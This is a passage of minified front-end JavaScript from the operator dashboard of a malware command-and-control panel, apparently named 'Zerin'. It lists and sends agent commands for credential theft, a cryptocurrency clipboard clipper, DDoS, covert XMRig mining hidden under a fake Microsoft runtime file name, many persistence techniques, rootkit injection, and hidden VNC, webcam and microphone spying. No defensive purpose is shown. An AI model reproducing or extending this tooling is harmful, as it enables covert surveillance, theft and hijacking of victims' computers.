0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 7.5A2.25 2.25 0 017.5 5.25h9a2.25 2.25 0 012.25 2.25v9a2.25 2.25 0 01-2.25 2.25h-9a2.25 2.25 0 01-2.25-2.25v-9z"})}),"Stop Mining"]}):s.jsxs("button",{onClick:j,disabled:v||d||!i.trim(),className:`flex-1 flex items-center justify-center gap-2 px-4 py-2.5\r + text-sm font-medium text-white bg-amber-600 hover:bg-amber-700\r + disabled:opacity-30 disabled:cursor-not-allowed transition-colors`,children:[d?s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}):s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5.25 5.653c0-.856.917-1.398 1.667-.986l11.54 6.348a1.125 1.125 0 010 1.971l-11.54 6.347a1.125 1.125 0 01-1.667-.985V5.653z"})}),"Start Mining"]})}),s.jsx("div",{className:"bg-amber-500/5 border border-amber-500/15 px-4 py-3",children:s.jsxs("p",{className:"text-xs text-amber-400/80",children:["XMRig binary must be uploaded to ",s.jsx("span",{className:"font-mono",children:"%LOCALAPPDATA%\\Microsoft\\Runtime\\svcruntime.exe"})," on the target before starting the miner. Use the File Manager tab to upload it."]})})]})})}function aa({label:e,value:t,valueClass:n}){return s.jsxs("div",{className:"bg-zerin-bg border border-zerin-panel-border px-3 py-2.5",children:[s.jsx("p",{className:"text-[10px] text-zerin-text-muted uppercase tracking-wider mb-1",children:e}),s.jsx("p",{className:`text-sm font-mono font-medium ${n||"text-zerin-text"}`,children:t})]})}const u2=["shell","powershell","execute","whoami","ps","kill","sysinfo","specs","windows","installed_apps","netstat","ifconfig","env","ls","cd","pwd","upload","download","delete","encrypt","decrypt","screenshot","persist_runkey","persist_schtask","persist_service","persist_startup","persist_logonscript","persist_screensaver","persist_ifeo","persist_bits","persist_com","persist_dllhijack","persist_wmi","persist_portmon","persist_ssp","reg_read","reg_write","rootkit_status","rootkit_inject","restart","shutdown","troll_msgbox","troll_tts","troll_website","troll_wallpaper","troll_taskbar","troll_cd_tray","chat","creds","clipper_start","clipper_stop","clipper_config","ddos_start","ddos_stop","miner_start","miner_stop","miner_status","sleep","exit","uninstall"],TU={queued:"bg-zinc-500/15 text-zinc-400",sent:"bg-zinc-400/10 text-zinc-400",completed:"bg-zinc-400/10 text-zinc-300",failed:"bg-zerin-danger-dim text-zerin-danger",timeout:"bg-zerin-panel-hover text-zerin-text-muted"},op=["overview","screenshots","files","processes","windows","apps","system","troll","credentials","clipper","ddos","miner"];function MU(){const{id:e}=Lo(),t=Jn(),[n,r]=rx(),[i,a]=p.useState(null),[o,l]=p.useState([]),[c,u]=p.useState([]),[d,f]=p.useState(!0),[m,h]=p.useState(""),[x,g]=p.useState(""),[y,v]=p.useState(!1),[b,w]=p.useState(!1),[j,k]=p.useState(()=>{const _=n.get("tab");return _&&op.includes(_)?_:"overview"}),[S,N]=p.useState(()=>{const _=n.get("tab"),ee=new Set(["overview"]);return _&&op.includes(_)&&ee.add(_),ee}),[z,O]=p.useState(null),[E,T]=p.useState(!0),[P,U]=p.useState(!1),[K,$]=p.useState(null),[L,F]=p.useState(new Set),[W,H]=p.useState(()=>n.get("auto")==="1"),[B,q]=p.useState(null),[X,se]=p.useState(-1),[ue,fe]=p.useState(!1),me=p.useRef(null);p.useEffect(()=>{N(_=>{if(_.has(j))return _;const ee=new Set(_);return ee.add(j),ee})},[j]),p.useEffect(()=>{N(new Set(["overview"]))},[e]),p.useEffect(()=>{const _=n.get("tab");_&&op.includes(_)&&_!==j&&k(_)},[n]);const Y=_=>{k(_),_==="overview"?n.delete("tab"):n.set("tab",_),r(n,{replace:!0})},te=p.useCallback(async()=>{if(e)try{const _=await xE(e);a(_),h("");try{const ee=await Tn(e);l(ee.tasks??[]),u(ee.results??[])}catch{l([]),u([])}}catch(_){a(null);const ee=_ instanceof Error&&"status"in _?_.status:"network";h(_ instanceof Error?`${_.message} (${ee})`:String(_))}finally{f(!1)}},[e]);p.useEffect(()=>{te();const _=setInterval(te,5e3);return()=>clearInterval(_)},[te]),p.useEffect(()=>{if(!e)return;let _=!0;const ee=async()=>{try{const J=await OE(e);_&&q(J)}catch{_&&q(null)}};ee();const V=setInterval(ee,3e3);return()=>{_=!1,clearInterval(V)}},[e]),p.useEffect(()=>{if(!z)return;const _=ee=>{ee.key==="Escape"&&O(null)};return window.addEventListener("keydown",_),()=>window.removeEventListener("keydown",_)},[z]);const C=p.useMemo(()=>[...o].sort((_,ee)=>new Date(_.created_at).getTime()-new Date(ee.created_at).getTime()),[o]),A=5e3,Z=p.useMemo(()=>{var ee;const _=[];for(const V of C){const J=(ee=V.args)!=null&&ee.length?" "+V.args.join(" "):"";_.push({type:"command",content:`${V.command}${J}`,timestamp:V.created_at});const oe=c.find(I=>I.task_id===V.id);oe?(oe.error&&_.push({type:"error",content:oe.error,timestamp:oe.completed_at}),oe.output&&_.push({type:"output",content:oe.output,timestamp:oe.completed_at})):V.status==="queued"||V.status==="sent"?_.push({type:"system",content:`[${V.status==="queued"?"Queued":"Sent"} - awaiting result...]`}):V.status==="timeout"&&_.push({type:"error",content:"[Task timed out]"})}if(_.length>A){const V=_.slice(_.length-A);return V.unshift({type:"system",content:`[Output truncated: showing last ${A.toLocaleString()} of ${_.length.toLocaleString()} lines]`}),V}return _},[C,c]),R=p.useMemo(()=>{const _=[];for(const ee of C){if(ee.command!=="screenshot")continue;const V=c.find(J=>J.task_id===ee.id);if(V!=null&&V.data){const J=_A(V.data)?AA(V.data):`data:image/png;base64,${V.data}`;_.push({taskId:ee.id,timestamp:V.completed_at,dataUrl:J})}}return _},[C,c]),ae=x?u2.filter(_=>_.startsWith(x.split(" ")[0])&&_!==x.split(" ")[0]):u2;async function pe(_){var oe;if(_.preventDefault(),!e||!x.trim())return;const ee=x.trim().split(/\s+/),V=ee[0],J=ee.slice(1);v(!0),w(!1);try{await Ce(e,{command:V,args:J}),g(""),$(null),setTimeout(te,500)}catch(I){$(`[SEND FAILED] ${I instanceof Error?I.message:"Unknown error"}`)}finally{v(!1),(oe=me.current)==null||oe.focus()}}function D(_){var ee;g(_+" "),w(!1),(ee=me.current)==null||ee.focus()}if(d)return s.jsx("div",{className:"flex items-center justify-center h-full",children:s.jsxs("div",{className:"flex flex-col items-center gap-3",children:[s.jsx("div",{className:"w-8 h-8 border-2 border-zerin-accent/30 border-t-zerin-accent rounded-full animate-spin"}),s.jsx("p",{className:"text-zerin-text-dim text-sm",children:"Loading agent data..."})]})});if(!i)return s.jsx("div",{className:"flex items-center justify-center h-full",children:s.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[s.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),s.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Agent Not Found"}),m&&s.jsx("p",{className:"text-zerin-text-muted text-sm mb-2",children:m}),s.jsxs("p",{className:"text-zerin-text-muted text-xs font-mono mb-6",children:["ID: ",e]}),s.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-2 text-sm font-medium text-zerin-accent + hover:text-zerin-accent-hover bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-4 py-2 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back to Dashboard"]})]})});const re=i.hostname||"unknown";return s.jsxs("div",{className:"h-full flex flex-col animate-fade-in",children:[s.jsxs("div",{className:"flex items-center gap-4 px-6 py-4 border-b border-zerin-panel-border bg-zerin-panel/40",children:[s.jsxs("button",{onClick:()=>t("/dashboard"),className:`inline-flex items-center gap-1.5 text-sm text-zerin-text-dim + hover:text-zerin-accent transition-colors px-2 py-1 + hover:bg-zerin-accent-muted`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 19l-7-7 7-7"})}),"Back"]}),s.jsx("div",{className:"w-px h-6 bg-zerin-panel-border"}),s.jsx("h1",{className:"font-display text-xl font-semibold text-zerin-text",children:re}),s.jsx(qu,{status:i.status,size:"md",showLabel:!0}),s.jsx("span",{className:"font-mono text-xs text-zerin-text-muted",children:Ts(i.id)}),i.elevated&&s.jsx("span",{className:"bg-zerin-panel-hover text-zerin-text-dim px-2 py-0.5 text-xs font-medium",children:"ADMIN"}),i.status!=="dead"&&s.jsxs("div",{className:"ml-auto flex items-center gap-2",children:[s.jsxs("button",{onClick:async()=>{try{await ax(i.id);const _=Ze(),ee=window.open(`/vnc/${i.id}`,`vnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ee&&_){const V=J=>{var oe;((oe=J.data)==null?void 0:oe.type)==="zerin_auth_request"&&J.origin===window.location.origin&&(ee.postMessage({type:"zerin_auth",token:_},window.location.origin),window.removeEventListener("message",V))};window.addEventListener("message",V)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})}),"VNC"]}),s.jsxs("button",{onClick:async()=>{try{await qj(i.id);const _=Ze(),ee=window.open(`/vnc/${i.id}?mode=hvnc`,`hvnc-${i.id}`,"width=1300,height=800,menubar=no,toolbar=no,location=no,status=no");if(ee&&_){const V=J=>{var oe;((oe=J.data)==null?void 0:oe.type)==="zerin_auth_request"&&J.origin===window.location.origin&&(ee.postMessage({type:"zerin_auth",token:_},window.location.origin),window.removeEventListener("message",V))};window.addEventListener("message",V)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3.98 8.223A10.477 10.477 0 001.934 12C3.226 16.338 7.244 19.5 12 19.5c.993 0 1.953-.138 2.863-.395M6.228 6.228A10.45 10.45 0 0112 4.5c4.756 0 8.773 3.162 10.065 7.498a10.523 10.523 0 01-4.293 5.774M6.228 6.228L3 3m3.228 3.228l3.65 3.65m7.894 7.894L21 21m-3.228-3.228l-3.65-3.65m0 0a3 3 0 10-4.243-4.243m4.242 4.242L9.88 9.88"})}),"hVNC"]}),s.jsxs("div",{className:"relative",children:[s.jsxs("button",{onClick:()=>fe(_=>!_),className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",d:"M15.75 10.5l4.72-4.72a.75.75 0 011.28.53v11.38a.75.75 0 01-1.28.53l-4.72-4.72M4.5 18.75h9a2.25 2.25 0 002.25-2.25v-9a2.25 2.25 0 00-2.25-2.25h-9A2.25 2.25 0 002.25 7.5v9a2.25 2.25 0 002.25 2.25z"})}),"Webcam",s.jsx("svg",{className:"w-3 h-3 ml-0.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.5 8.25l-7.5 7.5-7.5-7.5"})})]}),ue&&s.jsxs("div",{className:"absolute top-full left-0 mt-1 z-50 bg-zerin-panel border border-zerin-border p-3 shadow-xl min-w-[200px]",style:{background:"#18181B",border:"1px solid #27272A"},children:[s.jsx("div",{className:"text-xs font-medium text-zerin-text-muted mb-2",children:"Device"}),s.jsxs("select",{value:X,onChange:_=>se(Number(_.target.value)),className:"w-full bg-zerin-bg border border-zerin-border text-zerin-text text-sm px-2 py-1 mb-2",style:{background:"#09090B",border:"1px solid #27272A",color:"#FAFAFA"},children:[s.jsx("option",{value:-1,children:"Auto-detect"}),[0,1,2,3,4,5,6,7,8,9].map(_=>s.jsxs("option",{value:_,children:["Camera ",_]},_))]}),s.jsx("button",{onClick:async()=>{fe(!1);try{await Yj(i.id,X);const _=Ze(),ee=window.open(`/webcam/${i.id}`,`webcam-${i.id}`,"width=800,height=650,menubar=no,toolbar=no,location=no,status=no");if(ee&&_){const V=J=>{var oe;((oe=J.data)==null?void 0:oe.type)==="zerin_auth_request"&&J.origin===window.location.origin&&(ee.postMessage({type:"zerin_auth",token:_},window.location.origin),window.removeEventListener("message",V))};window.addEventListener("message",V)}}catch{}},className:"w-full text-sm font-medium px-3 py-1.5 bg-zerin-accent text-black hover:bg-zerin-accent-hover transition-colors",children:"Start"})]})]}),s.jsxs("button",{onClick:async()=>{try{await Gj(i.id);const _=Ze(),ee=window.open(`/mic/${i.id}`,`mic-${i.id}`,"width=500,height=400,menubar=no,toolbar=no,location=no,status=no");if(ee&&_){const V=J=>{var oe;((oe=J.data)==null?void 0:oe.type)==="zerin_auth_request"&&J.origin===window.location.origin&&(ee.postMessage({type:"zerin_auth",token:_},window.location.origin),window.removeEventListener("message",V))};window.addEventListener("message",V)}}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 18.75a6 6 0 006-6v-1.5m-6 7.5a6 6 0 01-6-6v-1.5m6 7.5v3.75m-3.75 0h7.5M12 15.75a3 3 0 01-3-3V4.5a3 3 0 116 0v8.25a3 3 0 01-3 3z"})}),"Mic"]}),s.jsxs("button",{onClick:async()=>{try{await Ce(i.id,{command:"screenshot"}),Y("screenshots")}catch{}},className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6.827 6.175A2.31 2.31 0 015.186 7.23c-.38.054-.757.112-1.134.175C2.999 7.58 2.25 8.507 2.25 9.574V18a2.25 2.25 0 002.25 2.25h15A2.25 2.25 0 0021.75 18V9.574c0-1.067-.75-1.994-1.802-2.169a47.865 47.865 0 00-1.134-.175 2.31 2.31 0 01-1.64-1.055l-.822-1.316a2.192 2.192 0 00-1.736-1.039 48.774 48.774 0 00-5.232 0 2.192 2.192 0 00-1.736 1.039l-.821 1.316z"}),s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M16.5 12.75a4.5 4.5 0 11-9 0 4.5 4.5 0 019 0z"})]}),"Screenshot"]}),s.jsxs("button",{onClick:()=>U(!0),className:`inline-flex items-center gap-1.5 text-sm font-medium + text-zerin-accent hover:text-zerin-accent-hover + bg-zerin-accent-muted hover:bg-zerin-accent/20 + px-3 py-1.5 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 12h.01M12 12h.01M16 12h.01M21 12c0 4.418-4.03 8-9 8a9.863 9.863 0 01-4.255-.949L3 20l1.395-3.72C3.512 15.042 3 13.574 3 12c0-4.418 4.03-8 9-8s9 3.582 9 8z"})}),"Chat"]})]})]}),s.jsxs("div",{className:"flex-1 flex flex-col min-h-0 overflow-hidden",children:[s.jsxs("div",{className:"flex items-center gap-1 px-6 pt-4 pb-0",children:[s.jsx(ln,{label:"Overview",active:j==="overview",onClick:()=>Y("overview")}),s.jsx(ln,{label:"Screenshots",active:j==="screenshots",onClick:()=>Y("screenshots"),badge:R.length>0?R.length:void 0}),s.jsx(ln,{label:"Files",active:j==="files",onClick:()=>Y("files")}),s.jsx(ln,{label:"Processes",active:j==="processes",onClick:()=>Y("processes")}),s.jsx(ln,{label:"Windows",active:j==="windows",onClick:()=>Y("windows")}),s.jsx(ln,{label:"Apps",active:j==="apps",onClick:()=>Y("apps")}),s.jsx(ln,{label:"System",active:j==="system",onClick:()=>Y("system")}),s.jsx(ln,{label:"Troll",active:j==="troll",onClick:()=>Y("troll")}),s.jsx(ln,{label:"Credentials",active:j==="credentials",onClick:()=>Y("credentials")}),s.jsx(ln,{label:"Clipper",active:j==="clipper",onClick:()=>Y("clipper")}),s.jsx(ln,{label:"DDoS",active:j==="ddos",onClick:()=>Y("ddos")}),s.jsx(ln,{label:"Miner",active:j==="miner",onClick:()=>Y("miner")})]}),s.jsxs("div",{className:"flex-1 min-h-0 overflow-auto custom-scrollbar",children:[s.jsx("div",{style:{display:j==="overview"?void 0:"none"},children:s.jsxs("div",{className:"p-6 grid grid-cols-12 gap-6 animate-fade-in",children:[s.jsxs("div",{className:"col-span-12 lg:col-span-5 xl:col-span-4 space-y-4",children:[s.jsxs(lp,{title:"System",children:[s.jsx(Vt,{label:"Hostname",value:i.hostname}),s.jsx(Vt,{label:"Username",value:i.username}),s.jsx(Vt,{label:"OS",value:po(i.os)}),s.jsx(Vt,{label:"Architecture",value:i.arch}),s.jsx(Vt,{label:"PID",value:String(i.pid),mono:!0}),s.jsx(Vt,{label:"Integrity",value:i.integrity}),s.jsx(Vt,{label:"Elevated",value:i.elevated?"Yes":"No",valueClass:i.elevated?"text-zerin-text font-medium":""})]}),s.jsxs(lp,{title:"Network",children:[s.jsx(Vt,{label:"Internal IP",value:i.internal_ip,mono:!0}),s.jsx(Vt,{label:"External IP",value:i.external_ip,mono:!0})]}),s.jsxs(lp,{title:"Timing",children:[s.jsx(Vt,{label:"Sleep / Jitter",value:t5(i.sleep_interval,i.jitter),mono:!0}),s.jsx(Vt,{label:"First Seen",value:fo(i.first_seen)}),s.jsx(Vt,{label:"Last Seen",value:_c(i.last_seen)}),s.jsx(Vt,{label:"Agent ID",value:Ts(i.id),mono:!0})]}),s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsxs("div",{className:"px-4 py-3 border-b border-zerin-panel-border flex items-center justify-between",children:[s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"SOCKS5 Proxy"}),s.jsx("span",{className:`inline-block w-2 h-2 rounded-full ${B!=null&&B.active?"bg-emerald-400":"bg-zinc-600"}`})]}),s.jsx("div",{className:"px-4 py-3",children:B!=null&&B.active?s.jsxs("div",{className:"space-y-2",children:[s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Bind"}),s.jsx("span",{className:"font-mono text-zerin-text",children:B.port?`127.0.0.1:${B.port}`:"-"})]}),s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Channels"}),s.jsx("span",{className:"font-mono text-zerin-text",children:B.channels})]}),s.jsxs("div",{className:"flex items-center justify-between text-xs",children:[s.jsx("span",{className:"text-zerin-text-muted",children:"Traffic"}),s.jsxs("span",{className:"font-mono text-zerin-text",children:[um(B.bytes_in)," in / ",um(B.bytes_out)," out"]})]}),s.jsx("button",{onClick:async()=>{try{await _E(i.id),q({active:!1,port:0,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full mt-1 px-3 py-1.5 text-xs font-medium text-zerin-danger bg-zerin-danger-dim hover:bg-zerin-danger/20 transition-colors",children:"Stop Proxy"})]}):s.jsxs("div",{className:"space-y-2",children:[s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"No active SOCKS5 session"}),i.status!=="dead"&&s.jsx("button",{onClick:async()=>{try{const _=await Xj(i.id);q({active:!0,port:_.port,channels:0,bytes_in:0,bytes_out:0})}catch{}},className:"w-full px-3 py-1.5 text-xs font-medium text-zerin-accent bg-zerin-accent-muted hover:bg-zerin-accent/20 transition-colors",children:"Start Proxy"})]})})]})]}),s.jsx("div",{className:"col-span-12 lg:col-span-7 xl:col-span-8",children:s.jsxs("div",{className:"bg-zerin-panel border border-zerin-panel-border overflow-hidden",children:[s.jsx("div",{className:"px-4 py-3 border-b border-zerin-panel-border",children:s.jsx("h3",{className:"text-sm font-semibold text-zerin-text",children:"Task History"})}),s.jsx("div",{className:"overflow-x-auto",children:C.length===0?s.jsx("div",{className:"px-4 py-12 text-center",children:s.jsx("p",{className:"text-zerin-text-muted text-sm",children:"No tasks have been submitted yet."})}):s.jsxs("table",{className:"w-full text-sm",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Command"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Status"}),s.jsx("th",{className:"text-left px-4 py-2.5 text-zerin-text-muted text-xs font-medium uppercase tracking-wider",children:"Created At"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...C].reverse().map(_=>{var V;const ee=(V=_.args)!=null&&V.length?" "+_.args.join(" "):"";return s.jsxs("tr",{className:"hover:bg-zerin-panel-hover transition-colors",children:[s.jsxs("td",{className:"px-4 py-2.5 font-mono text-zerin-text text-xs whitespace-nowrap",children:[_.command,ee]}),s.jsx("td",{className:"px-4 py-2.5",children:s.jsx("span",{className:`inline-block px-2 py-0.5 text-xs font-medium ${TU[_.status]??"bg-zerin-panel-hover text-zerin-text-muted"}`,children:_.status})}),s.jsx("td",{className:"px-4 py-2.5 text-zerin-text-dim text-xs whitespace-nowrap",children:fo(_.created_at)})]},_.id)})})]})})]})})]})}),S.has("files")&&s.jsx("div",{style:{display:j==="files"?void 0:"none"},children:s.jsx(xU,{agentId:i.id,agentStatus:i.status})}),S.has("processes")&&s.jsx("div",{style:{display:j==="processes"?void 0:"none"},children:s.jsx(vU,{agentId:i.id,agentStatus:i.status})}),S.has("windows")&&s.jsx("div",{style:{display:j==="windows"?void 0:"none"},children:s.jsx(gU,{agentId:i.id,agentStatus:i.status})}),S.has("apps")&&s.jsx("div",{style:{display:j==="apps"?void 0:"none"},children:s.jsx(yU,{agentId:i.id,agentStatus:i.status})}),S.has("system")&&s.jsx("div",{style:{display:j==="system"?void 0:"none"},children:s.jsx(bU,{agentId:i.id,agentStatus:i.status})}),S.has("troll")&&s.jsx("div",{style:{display:j==="troll"?void 0:"none"},children:s.jsx(jU,{agentId:i.id})}),S.has("credentials")&&s.jsx("div",{style:{display:j==="credentials"?void 0:"none"},children:s.jsx(PU,{agentId:i.id,agentStatus:i.status,autoGrab:W,onAutoGrabConsumed:()=>{H(!1),n.delete("auto"),r(n,{replace:!0})}})}),S.has("clipper")&&s.jsx("div",{style:{display:j==="clipper"?void 0:"none"},children:s.jsx(_U,{agentId:i.id,agentStatus:i.status})}),S.has("ddos")&&s.jsx("div",{style:{display:j==="ddos"?void 0:"none"},children:s.jsx(C3,{agentIds:[i.id],agentStatus:i.status})}),S.has("miner")&&s.jsx("div",{style:{display:j==="miner"?void 0:"none"},children:s.jsx(OU,{agentId:i.id,agentStatus:i.status})}),S.has("screenshots")&&s.jsx("div",{style:{display:j==="screenshots"?void 0:"none"},children:s.jsx("div",{className:"p-6 animate-fade-in",children:R.length===0?s.jsx("div",{className:"flex items-center justify-center py-20",children:s.jsxs("div",{className:"text-center",children:[s.jsx("div",{className:"w-14 h-14 mx-auto mb-4 bg-zerin-panel-hover flex items-center justify-center",children:s.jsx("svg",{className:"w-7 h-7 text-zerin-text-muted",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909M3.75 21h16.5A2.25 2.25 0 0022.5 18.75V5.25A2.25 2.25 0 0020.25 3H3.75A2.25 2.25 0 001.5 5.25v13.5A2.25 2.25 0 003.75 21z"})})}),s.jsx("h3",{className:"text-zerin-text font-medium text-sm mb-1",children:"No Screenshots"}),s.jsxs("p",{className:"text-zerin-text-muted text-xs",children:["Run the ",s.jsx("span",{className:"font-mono text-zerin-accent",children:"screenshot"})," command to capture the agent display."]})]})}):s.jsx("div",{className:"grid grid-cols-2 xl:grid-cols-3 2xl:grid-cols-4 gap-4",children:R.map(_=>s.jsxs("button",{onClick:()=>O(_.dataUrl),className:`group bg-zerin-panel border border-zerin-panel-border + hover:border-zerin-panel-border-hover transition-all overflow-hidden text-left`,children:[s.jsx("div",{className:"aspect-video bg-zerin-bg overflow-hidden flex items-center justify-center",children:L.has(_.dataUrl)?s.jsx("span",{className:"text-zerin-text-muted text-xs",children:"Failed to decode"}):s.jsx("img",{src:_.dataUrl,alt:`Screenshot ${Ts(_.taskId)}`,className:`w-full h-full object-cover opacity-90 + group-hover:opacity-100 group-hover:scale-[1.02] transition-all duration-200`,loading:"lazy",onError:()=>F(ee=>new Set(ee).add(_.dataUrl))})}),s.jsx("div",{className:"px-3 py-2 border-t border-zerin-panel-border",children:s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("span",{className:"text-xs font-mono text-zerin-text-muted",children:Ts(_.taskId)}),s.jsx("span",{className:"text-xs text-zerin-text-muted",children:_c(_.timestamp)})]})})]},_.taskId))})})})]}),s.jsxs("div",{className:"flex-shrink-0 border-t border-zerin-panel-border bg-zerin-panel",children:[s.jsxs("button",{onClick:()=>T(_=>!_),className:`w-full flex items-center gap-2 px-4 py-2 text-xs text-zerin-text-dim + hover:text-zerin-text hover:bg-zerin-panel-hover transition-colors select-none`,children:[s.jsx("svg",{className:`w-3.5 h-3.5 transition-transform duration-200 ${E?"rotate-180":""}`,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 15l7-7 7 7"})}),s.jsx("span",{className:"font-medium",children:"Terminal"}),i.status==="dead"&&s.jsx("span",{className:"text-zerin-danger text-[10px] font-medium ml-1",children:"(offline)"})]}),E&&s.jsx("div",{className:"animate-slide-up-panel",style:{height:180},children:s.jsxs("div",{className:"h-full flex flex-col border-t border-zerin-panel-border",children:[s.jsx(hU,{lines:Z,className:"flex-1 border-0"}),s.jsxs("div",{className:"relative border-t border-zerin-panel-border bg-zerin-panel px-4 py-2.5",children:[b&&ae.length>0&&s.jsx("div",{className:`absolute bottom-full left-0 right-0 mb-0 + bg-zerin-panel border border-zerin-panel-border + z-10 max-h-48 overflow-y-auto custom-scrollbar`,children:s.jsxs("div",{className:"p-2",children:[s.jsx("div",{className:"text-[10px] text-zerin-text-muted font-medium mb-1.5 px-1 uppercase tracking-wider",children:"Commands"}),s.jsx("div",{className:"flex flex-wrap gap-1",children:ae.map(_=>s.jsx("button",{onClick:()=>D(_),className:`px-2.5 py-1 text-xs font-mono + bg-zerin-bg text-zerin-text-dim + border border-zerin-panel-border + hover:text-zerin-accent hover:border-zerin-accent/40 + hover:bg-zerin-accent-muted transition-colors`,children:_},_))})]})}),K&&s.jsx("div",{className:"text-zerin-danger text-xs font-mono mb-1.5 px-1",children:K}),s.jsxs("form",{onSubmit:pe,className:"flex items-center gap-2",children:[s.jsx("span",{className:"text-zerin-accent font-mono text-sm select-none font-semibold",children:"$"}),s.jsx("input",{ref:me,type:"text",value:x,onChange:_=>g(_.target.value),onFocus:()=>w(!0),onBlur:()=>setTimeout(()=>w(!1),200),placeholder:"Enter command...",disabled:y||i.status==="dead",className:`flex-1 bg-zerin-bg border border-zerin-panel-border + px-3 py-1.5 text-zerin-text font-mono text-sm + placeholder-zerin-text-muted + focus:outline-none focus:border-zerin-accent/50 focus:ring-1 focus:ring-zerin-accent/20 + disabled:opacity-40 disabled:cursor-not-allowed transition-all`}),s.jsx("button",{type:"submit",disabled:y||!x.trim()||i.status==="dead",className:`bg-zerin-accent hover:bg-zerin-accent-hover text-white + text-sm font-medium px-4 py-1.5 + disabled:opacity-30 disabled:cursor-not-allowed + 